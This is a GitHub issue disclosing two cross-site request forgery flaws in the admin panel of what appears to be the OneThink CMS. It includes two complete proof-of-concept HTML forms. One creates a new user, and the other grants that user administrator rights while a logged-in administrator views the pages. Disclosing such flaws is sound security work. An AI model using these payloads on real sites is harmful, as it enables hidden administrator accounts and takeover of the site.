Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There are two CSRF vulnerabilities that can add the administrator account #36

Open
usermuziLi opened this issue Aug 6, 2018 · 0 comments

Comments

@usermuziLi
Copy link

usermuziLi commented Aug 6, 2018

After the Administrator logged in,open the following two page
poc:
one.html---add a user

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.98.88/onethink-master/wwwroot/admin.php?s=/User/add.html" method="POST">
      <input type="hidden" name="username" value="r1" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="repassword" value="123456" />
      <input type="hidden" name="email" value="64345647&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

two.html---Endowing user administrator privileges

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.98.88/onethink-master/wwwroot/admin.php?s=/AuthManager/addToGroup.html" method="POST">
      <input type="hidden" name="group&#95;id&#91;&#93;" value="1" />
      <input type="hidden" name="uid" value="2" />
      <input type="hidden" name="batch" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant